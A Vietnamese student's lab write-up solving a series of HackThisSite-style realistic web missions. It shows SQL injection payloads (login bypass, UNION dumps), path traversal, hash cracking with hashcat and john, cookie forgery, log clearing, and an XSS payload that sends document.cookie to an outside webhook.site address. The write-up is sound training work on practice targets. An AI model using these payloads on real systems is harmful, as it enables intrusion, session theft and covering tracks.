# Bài thực hành Nhập Môn ATTT > AT20N0155 - Nguyễn Minh Triết ## I.Uncle Arnold's Local Band Review ### 1. Target: ![image](https://hackmd.io/_uploads/BytHzvdsye.png) ### 2. Method: * Truy cập vào website, ta nhận được 1 trang web tĩnh đơn giản dùng để vote cho band nhạc. ![image](https://hackmd.io/_uploads/By6FGDdsJx.png) * Như ta thấy band nhạc ta được giao đang có lượt vote thấp nhất, và mỗi lần vote chỉ tối đa 5 phiếu. Để giải quyết mình sẽ bắt request bằng `Burpsuite` để thực hiện việc thay đổi số vote ![image](https://hackmd.io/_uploads/BJxkmvus1g.png) * Như ta thấy, `param` được gửi đi cùng với request bao gồm `session`, `id` và `vote`. Khi gửi request ta sẽ thay đổi số vote được gửi, mình sẽ đổi thành `9999999` ![image](https://hackmd.io/_uploads/r1MS7Ddjkx.png) ### 3. Result ![image](https://hackmd.io/_uploads/rkOYmwdo1l.png) ### 4. Exploit technique * Mấu chốt khai thác ở đây là việc server không validate input, dẫn đến ta có thể thay đổi số lượng vote trong request, và lỗ hỏng là `Parameter Manipulation` ## II. Chicago American Nazi Party ### 1. Target: ![image](https://hackmd.io/_uploads/SkjfVDdjye.png) ### 2. Method: ![image](https://hackmd.io/_uploads/HyeBUv_sye.png) * Ta truy cập vào web, hầu như không có input nào để nhập, mình thử view source lên xem ![image](https://hackmd.io/_uploads/B12YLPdjkg.png) * Ta thấy được một thẻ `a` ref tới url `missions/realistic/2/update.php`, ta truy cập thử ![image](https://hackmd.io/_uploads/Hyxa8Ddo1l.png) * Đây có lẽ là trang `Admin login`, nếu ta nhập sai `credential` thì sẽ trả về một thông báo chung chung là sai pass/username, sau một lúc thì ta có thể bypass được login check này bằng payload `OR 1=1-- -` ### 3. Result: ![image](https://hackmd.io/_uploads/B1p7vvdjkg.png) ### 4. Exploit Technique * Web này bị một lỗ hỏng cực kỳ nổi tiếng là `SQL Injection`, cụ thể ta có thể dùng payload `OR 1=1-- -` để có thể bypass được phần login. * Lỗ hỏng này xảy ra khi dev thực hiện dùng các câu truy vấn `SQL` để truy xuất database mà không thực hiện việc validate input của người dùng dẫn đến lỗ hỏng có thể chèn các câu lệnh `SQL` để pollute database ## III. Peace Poetry Hacked ### 1. Target: ![image](https://hackmd.io/_uploads/H17MOv_i1l.png) ### 2. Method: * BUSH T_T ![image](https://hackmd.io/_uploads/SJPppPujJe.png) * Bài này làm mình khá loay hoay khúc đầu do không nhìn kỹ, sau một lúc thì mới nhận ra là còn một đoạn comment ở bên dưới sau khi view source ![image](https://hackmd.io/_uploads/HyVbRwOi1e.png) ![image](https://hackmd.io/_uploads/r13ZAP_iJe.png) * Đoạn này nội dụng cụ thể là `Note to the webmasterThis website has been hacked, but not totally destroyed. The old website is still up. I simply copied the old index.html file to oldindex.html and remade this one. Sorry about the inconvenience` * Ta biết hacker đã lưu file backup của ta ở `oldindex.html`. ![image](https://hackmd.io/_uploads/B1Oj-uOiJe.png) * Ta có thêm 2 route là `Read the Poetry` và `Submit Poem`. ![image](https://hackmd.io/_uploads/Sk_VGO_jkl.png) * Chú ý vào dòng note, từ đây ta có cách để khôi phục lại server, chú thích có nghĩa là phải có một nơi lưu giữ tạm thời cho những bài thơ mới. * Ta sẽ tiến hành thêm một bài thơ mới với phần `name = ../index.html` ta sẽ tiến hành lùi một cấp và truy cập vào `index.html` tiếp đến phần nội dụng sẽ là toàn bộ source của trang `oldindex.html` để có thể thay đổi và khôi phục lại web. ### 3. Result: ![image](https://hackmd.io/_uploads/BJjx8ddoyx.png) ### 4. Exploit Technique: * Ở đây ta dùng `Path traversal` để khai thác. ## IV. Fischer's Animal Products ### 1. Target: ![image](https://hackmd.io/_uploads/SJOfwd_iJx.png) ### 2. Method: ![image](https://hackmd.io/_uploads/rJPt_FOsJg.png) * Quan sát server, ta nhận thấy rằng có một ô để ta có thể nhập đuợc email, và 2 route để mua hàng. Sau một lúc khai thác, nhận thấy rằng ô để nhập email không thể bypass được gì nên mình sem qua 2 route kia ![image](https://hackmd.io/_uploads/rk0_YKuiye.png) * Ta thấy rằng khi truy cập vào route, ở phí `URL` có param `category` dùng để gọi data từ database. Từ đây ta có thể khai thác bằng cách đưa payload `SQLI` để inject và lấy data từ bảng emails với payload `UNION ALL SELECT null, *, null, null FROM email;` ### 3. Result: ![image](https://hackmd.io/_uploads/BJhT9FujJe.png) * Giờ ta sẽ đến trang chủ và tiến hành vào profile và gửi tất cả số email này cho `SaveTheWhales` ![image](https://hackmd.io/_uploads/HJ32iFOoyx.png) ![image](https://hackmd.io/_uploads/B119sKuskx.png) ### 4. Exploit Technique * Lỗ hỏng ở web này là `SQLI`, ta có thể đưa payload vào ở param `category=[number]`. Giả sử câu truy vấn ở phía Backend như sau ```sql SELECT id, username, email FROM users WHERE id = 1; ``` * Khi ta tiêm payload vào truy vấn sẽ là ``` SELECT id, username, email FROM users WHERE id = 1 UNION ALL SELECT null, *, null, null FROM email; ``` * Do cột mà chúng ta đang inject là kiểu số (như INT), thì không cần dùng dấu ', và ở phía sau của câu sql không có các truy vấn dư thừa nên sẽ không cần phải comment lại `--`. Do đó dẫn đến việc payload của ta khác với việc inject thông thường ## V. Damn Telemarketers! ### 1. Target: ![image](https://hackmd.io/_uploads/HkgjhtOiyx.png) ### 2. Method: * Sau khi xem xét thử các route của trang web, ta thấy không có gì đặc biệt để tương tác vì hầu như các route đã bị disallow cho guest, có duy nhất là route database là cho phép ta nhập `passwd` để login vào nhưng ở đây ta không hề biết được pass ![image](https://hackmd.io/_uploads/H1iA0Lhjyl.png) * Sau đó mình dùng dirsearch để scan thì ta biết được server có route `robots.txt` ![image](https://hackmd.io/_uploads/S1b81vhsJg.png) * Ở đây bị disallow bao gồm `/lib` và `/secret`. Sau khi vào `/lib` kiểm tra ta có được một file hash bao gồm nội dung ![image](https://hackmd.io/_uploads/HyJXxvhiyx.png) * Có lẽ passwd của ta sẽ bị hash theo kiểu MD4, tiếp tục vào `/secret` thì ta thấy được 2 file ![image](https://hackmd.io/_uploads/ByMrlDnsJl.png) * Cái trên là file backup có lẽ để chứa mật khẩu đăng nhập, còn ở dưới sẽ redirect ta đến khi nhập sai mật khẩu ![image](https://hackmd.io/_uploads/SyIuxD3jyg.png) * Đúng như vậy, giờ ta đã có được pass, việc tiếp theo là làm sao để có thể crack được pass này, ta đã biết được mã hóa sẽ là MD4 từ đây mình sẽ dùng hashcat để tìm plaintext chuẩn ``` hashcat -m 900 hash.txt -o cracked.txt -d 1 --force ``` * Như ta thấy thì pass chính là `dd5f5` ### 3. Result: ![image](https://hackmd.io/_uploads/Sygt-O3oJe.png) ### 4. Exploit Technique: * Hashcat, robots.txt ## VI. Toxico Industrial Chemicals ### I. Target: ![image](https://hackmd.io/_uploads/SJDZOv2oyx.png) ### II. Method: * Vào server ta nhận được một đoạn tin nhắn được mã hóa cụ thể như sau ![image](https://hackmd.io/_uploads/rkKVsv2j1x.png) * Bài này khá dễ vì ta đã có gợi ý rằng thuật toán mã hóa được dùng là `XECryption`, sau một lúc research thì mình tìm được web này có thể decrypt [XECryption](https://telmo.pt/xecryption/) * Và sau khi decrypt thì ta có plaintext là ![image](https://hackmd.io/_uploads/ByGjsw3j1g.png) * Giờ chỉ cần gửi cho `ToxiCo_Watch` như bài trước là ta hoàn thành challenge ### 3. Result: ![image](https://hackmd.io/_uploads/SJOYqw3i1l.png) ### 4. Exploit Technique * Research ## VII. What's Right For America ### I. Target: ![image](https://hackmd.io/_uploads/SJCAb_3oJx.png) ### II. Method: * Truy cập vào web, ta thấy được rằng khi truy cập các route thì ở `URL` sẽ có param như này ![image](https://hackmd.io/_uploads/H1oT4_3o1e.png) * Mình nghĩ ta có thể lợi dụng path traversal để thực hiện đọc file hay truyền gì đó thú vị vào chăng? Trước tiên ta cần truy quét thêm thử ![image](https://hackmd.io/_uploads/SJVVBu3okg.png) * View source ở index, ta thấy có một route là `/images` mình quyết định vào xem thế nào ![image](https://hackmd.io/_uploads/H1-wHd2ike.png) * Đây là `Paren Directory` của server ![image](https://hackmd.io/_uploads/rk9_Hdnjye.png) * Oops! Ta đã bị chặn rồi, có lẽ cần `credential` để login được, và đây popup chính là một trang `HTPasswd Protection`. Vậy `HTPasswd` là gì? * Hiểu đơn giản thì `htpasswd` là một công cụ trong `Apache HTTP Server` dùng để tạo và quản lý file mật khẩu (.htpasswd) cho cơ chế xác thực `Basic Authentication` trên các trang web. Nó mã hóa mật khẩu của người dùng và lưu chúng dưới dạng hash để bảo mật. Cấu trúc `credential` được lưu dưới dạng `htpasswd` như sau `user1:$apr1$z6ZfhJw4$9dHw7Zh7h0qYcB.pFZyJo0` với `username = user1` và passwd sẽ là mã hash sau dấu `:` * Quay lại phần param ở `URL` lúc nãy thì ta có thể truy cập vào route `/images/admin/.htpasswd` để lấy được phần `htpasswd` và ta sẽ có `credential` hợp lệ ![image](https://hackmd.io/_uploads/rJN_sO2syx.png) * OK! Giờ view source lên ![image](https://hackmd.io/_uploads/HJE5sd3sJx.png) * Giờ ta có `administrator:$1$AAODv...$gXPqGkIO3Cu6dnclE/sok1`, sau đó chỉ cần crack được phần hash phía sau là ta có thể login, ở đây mình dùng john default để crack ![image](https://hackmd.io/_uploads/r1Tnn_3sJg.png) * Giờ login với `administrator:shadow ### 3. Result ![image](https://hackmd.io/_uploads/S1GZadhskl.png) ### 4. Exploit Technique * Path traversal và crack hash bằng john, kèm với kiến thức về `HTPasswd` ## VIII. United Banks Of America ### 1. Target: ![image](https://hackmd.io/_uploads/S1J96u2ikl.png) ### 2. Method: #### Task 1: Find the account of Gary Huner * Dựa theo 3 tiêu chí trên, ta có thể dựa vào đó để hoàn thành challenge, sau khi đăng ký và đăng nhập, ta sẽ được một trang profile như thế này ![image](https://hackmd.io/_uploads/BJeD-tniJe.png) * OK! Nhìn vào tiêu chí 1 là `Find the account of Gary Huner` nhưng người yêu cầu không biết account name, hmm có lẽ khá khó, ta thử một vài cái tên đặc biệt như `garyhunter, huntergary, GaryHunter` xem sao? ![image](https://hackmd.io/_uploads/ryR6Zt3jJg.png) * Các tên đều khả thi nhưng kết quả nhận lại vẫn có vẻ như không phải là account của `Garry Hunter` mà ta được yêu cầu * Do đây là một route `Userfind`, có lẽ khi ta nhập input thì sẽ được đưa vào câu query để truy xuất dữ liệu từ database và in ra front end, hmmm có lẽ ta có thể thử inject một vài payload `SQLI` thử xem sao ![image](https://hackmd.io/_uploads/rJ5KMK3jyx.png) ![image](https://hackmd.io/_uploads/SkN5MFhsyl.png) * Quả thật thành công, và ta có đến `20110` datas cần phải lọc và tìm * Từ trang Đăng ký, chúng ta thấy rằng để tạo tài khoản, cần cung cấp `username, password`, và mô tả tài khoản (được gọi là `desc` trong mã của trang web). Ba trường này có thể nằm trong bảng `users`. Nếu nhập một `username` hợp lệ trên trang `User Info`, trang web sẽ trả về `username` và mô tả tài khoản cho tài khoản đó. Điều này có nghĩa là truy vấn SQL trên backend có thể giống như sau: ```sql SELECT username, desc FROM users WHERE username = '[user input]' ``` * Nếu chúng ta muốn lừa truy vấn để hiển thị tất cả username và mô tả tài khoản, có thể sử dụng đầu vào như: ```sql ' OR 1=1; ``` * hoặc ```sql ' OR '1=1'; ``` * Điều này sẽ khiến truy vấn trở thành: ```sql SELECT username, desc FROM users WHERE username = '' OR 1=1; ``` * Khi tìm kiếm bằng payload SQL Injection, trang kết quả hiển thị toàn bộ `username` và mô tả tài khoản của tất cả các hàng trong bảng users. Trong số đó, có nhiều tài khoản chứa thông tin liên quan đến Hunter. Tài khoản đúng là: `GaryWilliamHunter : -- $$$$$ --` #### Task 2: Move the $10,000,000 into the account dropCash. * Đến với task 2, giờ ta đã có được tên account của `Garry Hunter` nhiệm vụ bây giờ sẽ là cần chuyển toàn bộ số tiền đó đến tài khoản dropCash. * Hãy quan sát một tí vào phiên session của server ![image](https://hackmd.io/_uploads/ryoCOspsJx.png) * Như ta thấy, phần cookie của user không hề được mã hóa, mà được khởi tạo bằng chính username của user luôn ???? Thế thì ta có thể dễ dàng thực hiện việc giả mạo session `Session Hijacking` ![image](https://hackmd.io/_uploads/rkIdqipokg.png) * Ta sẽ thực hiện thay đổi session sang `GaryWilliamHunter`, sau đó chuyển `10000000` sang dropCash ![image](https://hackmd.io/_uploads/SyMo9spiyg.png) #### Task 4: Clear The Logs, They're held in the folder 'logFiles'. * Giờ ta cần clear log file của ta, tiến hành mở devtool lên ![image](https://hackmd.io/_uploads/BkHfhjToye.png) * Ta thay đổi value thành `logFiles` ![image](https://hackmd.io/_uploads/By0mhoaoJl.png) ### 3. Result: ![image](https://hackmd.io/_uploads/ByXr3iTj1g.png) ### 4. Exploit Technique * SQL Injection, Session Hijacking và Edit Devtools ## IX. CrappySoft Software ### 1. Target: ![image](https://hackmd.io/_uploads/Bkr7Tipjkg.png) ### 2. Method: * Đăng nhập với `credential` được cung cấp, ta nhận được một site như sau ![image](https://hackmd.io/_uploads/HJFw7hpoye.png) * Tạm chưa nói đến các route ở dưới, nhưng khi đăng nhập thành công ta có thêm 2 route là `Play Salaries` và `Private Messages`, khi click vào `Play Salaries` thì trang web yêu cầu với quyền admin ![image](https://hackmd.io/_uploads/r1kn7h6iJx.png) * Tương tự bài trước, mình sẽ xem xét phần cookie trước thử xem sao ![image](https://hackmd.io/_uploads/B1cANhTjyg.png) * Ta có `intID`, mật khẩu mã hóa `MD5` và admin username. * Bây giờ chúng ta đã có tài khoản admin trang web `m-crap@crappysoft.com` và thông tin người dùng được lưu trữ trong cookie, chúng ta có thể nhắm mục tiêu vào đó. Nếu có cookie, điều đầu tiên cần nghĩ đến là sửa đổi cookie , thay thế s`trUsername` bằng tài khoản của admin, làm mới trang web. Sau một lúc thử thì nó không thể được nên chúng ta hãy thử một phương pháp khác, tấn công `XSS cross-site scripting` , để lấy thông tin cookie và ta có payload như sau ```javascript! <script> window.location='https://webhook.site/7459e7bd-a03e-43ad-8074-24e5a801e24f' + document.cookie</script> ``` * Giờ truy cập đến `Private Message` và nhập payload vào ![image](https://hackmd.io/_uploads/H1V_F26jJg.png) * Ta đã khai thác được xss và nhận được admin session ![image](https://hackmd.io/_uploads/HylMi2as1g.png) * Giờ chỉ cần login với session này là xong ![image](https://hackmd.io/_uploads/SJ8wi3aiyg.png) * Tiến hành trả lương ![image](https://hackmd.io/_uploads/ByXoinpskl.png) * Giờ ta cần thêm một việc quan trọng nữa để hoàn thành chall đó là xóa dấu vết bằng việc xóa log. Khi quan sát ở route `DEMO`, bật view source thì mình có để ý một chi tiết ![image](https://hackmd.io/_uploads/rkKZn3as1e.png) * Đó là ở thẻ `a` thì `href` dùng để chứa file `.exe` để tải demo thì bao gồm thư mục dẫn khá dài, đồng nghĩa khả năng cao server sử dụng Apache. Khi fuzzing thử thì ta tìm được đến trang index ![image](https://hackmd.io/_uploads/HygO2nTjke.png) ![image](https://hackmd.io/_uploads/ByE3pnpokx.png) * Giờ ta đã biết vị trí file `logs.txt` giờ hãy đến route `contact` ![image](https://hackmd.io/_uploads/B1duR3pokl.png) * Thay đường dẫn bằng đường dẫn mới `./files/logs/logs.txt` và ấn `subscribe` ![image](https://hackmd.io/_uploads/ryTwy66i1x.png) ### 3. Result: ![image](https://hackmd.io/_uploads/S1jFkp6ike.png) ### 4. Exploit Technique * XSS, Directory Listing,... ## X. Holy Word High School ### I. Target: ![image](https://hackmd.io/_uploads/Syolxa6i1x.png) ### II. Method: * Ta tìm được `staff.php` trong source code ở index ![image](https://hackmd.io/_uploads/Sy6imTajJl.png) ![image](https://hackmd.io/_uploads/rkGTmapjJg.png) * Truy cập vào teacher listing ![image](https://hackmd.io/_uploads/Sygk44apsJl.png) * Ở đây ta sẽ có danh sách các giáo viên, ta có thể thử với một vài credential cơ bản xem có thể login được với trang `staff` không ![image](https://hackmd.io/_uploads/HJlONp6sJl.png) * Ta thành công với credential `smiller:smiller`. Hmm có vẻ như thông điệp nói rằng server đang kiểm tra chuỗi `User-Agent` của ta nếu đúng với `holy_teacher` thì có lẽ sẽ có một trang ẩn nào đó. Mình sẽ dùng burp để thực hiện sửa phần này ![image](https://hackmd.io/_uploads/S1j7ITTiJx.png) ![image](https://hackmd.io/_uploads/ByfHL6piJl.png) * Giờ đây ta có thể đổi cả điểm và check tin nhắn, cũng như nhập điểm lên ![image](https://hackmd.io/_uploads/Hytu8pTskg.png) * Nhưng ở đây ta vẫn bị detect không phải là admin, giờ chỉ cần đổi lại phần `admin=0` thành `admin=1` trong request trước đó là xong ![image](https://hackmd.io/_uploads/ryvhUpTjkx.png) ![image](https://hackmd.io/_uploads/rydHO6pj1l.png) * Giờ ta sẽ thay đổi điểm của `Zach Sanchez` ![image](https://hackmd.io/_uploads/S1-gFpasye.png) * Nhưng ta thấy ở đây do đã quá giờ sửa điểm nên ta không thể thực hiện, giờ check source code thì thấy rằng nút submit đã bị comment và thay bằng `see below`, ta chỉ cần edit lại html này là được, nhưng cách này cũng không thành công ![image](https://hackmd.io/_uploads/H1qQYTTske.png) * Sau một lúc xem source, thì mình nhận thấy rằng mỗi môn sẽ được bọc trông một thẻ `form action` vậy ta có thể update môn bằng cách dùng `POST` request gửi đi ![image](https://hackmd.io/_uploads/By0O9aTsJx.png) ![image](https://hackmd.io/_uploads/BkfX266jkg.png) * Ta đã hoàn thành xong, và chỉ cần làm tương tự với các môn khác ### 3. Result: ![image](https://hackmd.io/_uploads/H1LY3TTjkg.png) ### 4. Exploit Technique * Devtools, giả mạo `User-Agent`